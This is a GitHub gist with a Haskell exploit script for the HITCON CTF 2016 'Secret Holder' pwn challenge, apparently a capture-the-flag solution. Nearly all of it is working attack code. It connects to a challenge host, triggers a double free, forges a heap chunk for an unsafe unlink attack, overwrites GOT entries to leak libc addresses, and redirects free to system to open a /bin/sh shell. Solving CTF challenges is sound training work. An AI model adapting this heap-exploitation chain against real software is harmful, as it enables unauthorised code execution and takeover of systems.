Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Created September 23, 2017 07:32
Show Gist options
  • Select an option

  • Save Tosainu/8117a24d16dd0d96bd218b3af4b3f8c8 to your computer and use it in GitHub Desktop.

Select an option

Save Tosainu/8117a24d16dd0d96bd218b3af4b3f8c8 to your computer and use it in GitHub Desktop.
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
-- HITCON CTF 2016 Quals: Secret Holder
-- https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/secret-holder-100
-- tested env:
-- $ cat /etc/os-release
-- NAME="Ubuntu"
-- VERSION="16.04.3 LTS (Xenial Xerus)"
-- ...
--
-- $ sha1sum /lib/x86_64-linux-gnu/libc-2.23.so
-- 14c22be9aa11316f89909e4237314e009da38883 /lib/x86_64-linux-gnu/libc-2.23.so
{-# LANGUAGE OverloadedStrings #-}
import Control.Monad
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
import Numeric (readHex, showHex)
-- https://github.com/Tosainu/pwn.hs
import Pwn hiding (Endian (..))
showByteString :: (Show a) => a -> BS.ByteString
showByteString = BS.pack . show
data SecretType = Small | Big | Huge
deriving (Eq, Show)
main :: IO ()
main = do
r <- remote "192.168.122.10" 4000
let small_secret_ptr = 0x006020b0
big_secret_ptr = 0x006020a0
huge_secret_ptr = 0x006020a8
puts_plt = 0x004006c0
puts_got = 0x00602020
free_got = 0x00602018
libc_puts' = 0x0006f690
libc_system' = 0x00045390
let keep t s = do
recvuntil r "3. Renew secret\n"
sendline r "1"
recvuntil r "3. Huge secret\n"
case t of
Small -> sendline r "1"
Big -> sendline r "2"
Huge -> sendline r "3"
recvuntil r "Tell me your secret: \n"
send r s
wipe t = do
recvuntil r "3. Renew secret\n"
sendline r "2"
recvuntil r "3. Huge secret\n"
case t of
Small -> sendline r "1"
Big -> sendline r "2"
Huge -> sendline r "3"
renew t s = do
recvuntil r "3. Renew secret\n"
sendline r "3"
recvuntil r "3. Huge secret\n"
case t of
Small -> sendline r "1"
Big -> sendline r "2"
Huge -> sendline r "3"
recvuntil r "Tell me your secret: \n"
send r s
info "increase mmap_threshold"
keep Huge "myon"
wipe Huge
info "create overwrapped chunk"
keep Big "poe"
wipe Big
keep Huge "nyan"
wipe Big -- double free!
keep Small "poe"
keep Big "fee"
-- gef➤ x/4gx 0x006020a0
-- 0x6020a0: 0x00000000007c1040 0x00000000007c1010
-- ↑ Big ↑ Huge
-- 0x6020b0: 0x00000000007c1010 0x0000000100000001
-- ↑ Small
info "create fake chunk"
let buf = BS.concat $ catMaybes
[ p64 0x00 -- prev_size'
, p64 0x21 -- size' (0x31 - 0x10)
, p64 $ small_secret_ptr - 0x18 -- fd'
, p64 $ small_secret_ptr - 0x10 -- bk'
, p64 0x20 -- prev_size
, p64 0xfb0 -- size (0xfb1 -> 0xfb0)
]
renew Huge buf
info "free big secret (unsafe unlink attack)"
wipe Big
-- gef➤ x/6gx 0x00602090
-- 0x602090 <stdout>: 0x00007f7775dff620 0x0000000000000000
-- 0x6020a0: 0x0000000000cfd040 0x0000000000cfd010
-- ↑ Big ↑ Huge
-- 0x6020b0: 0x0000000000602098 0x0000000100000000
-- ↑ Small
-- 0x6020c0: 0x0000000000000001 0x0000000000000000
info "overwrite big_secret_ptr and huge_secret_ptr"
let buf = BS.concat $ catMaybes
[ p64 0x00 -- 0x00602098
, p64 puts_got -- big_secret_ptr
, p64 free_got -- huge_secret_ptr
]
renew Small buf
info "leak informations"
renew Huge $ fromJust $ p64 puts_plt -- free@got = puts@plt
wipe Big -- puts(puts_got)
leak <- recvuntil r "\n1. Keep secret"
let leak' = BS.take (BS.length leak - BS.length "\n1. Keep secret") leak
Just libc_puts = u64 $ leak' <> BS.replicate (8 - BS.length leak') '\x00'
libc_base = libc_puts - libc_puts'
success $ " libc_base: 0x" <> showHex libc_base ""
info "exeute system(\"/bin/sh\")"
renew Huge $ fromJust $ p64 $ libc_base + libc_system' -- free@got = libc_system
keep Big "/bin/sh\x00"
wipe Big -- system("/bin/sh")
interactive r
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment